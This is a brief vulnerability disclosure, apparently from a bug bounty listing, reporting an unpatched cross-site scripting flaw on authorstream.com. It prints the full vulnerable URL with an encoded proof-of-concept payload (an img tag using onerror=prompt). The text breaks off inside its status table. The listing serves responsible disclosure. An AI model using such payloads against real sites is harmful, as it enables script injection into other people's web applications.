authorstream.com XSS vulnerability

Vulnerable URL: http://www.authorstream.com/Action/HTMLEmbed.aspx?pid=2120314635326241368845000=0=%23dfdfdf=%22%3Etrolo%3Ci%3Etralala%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS...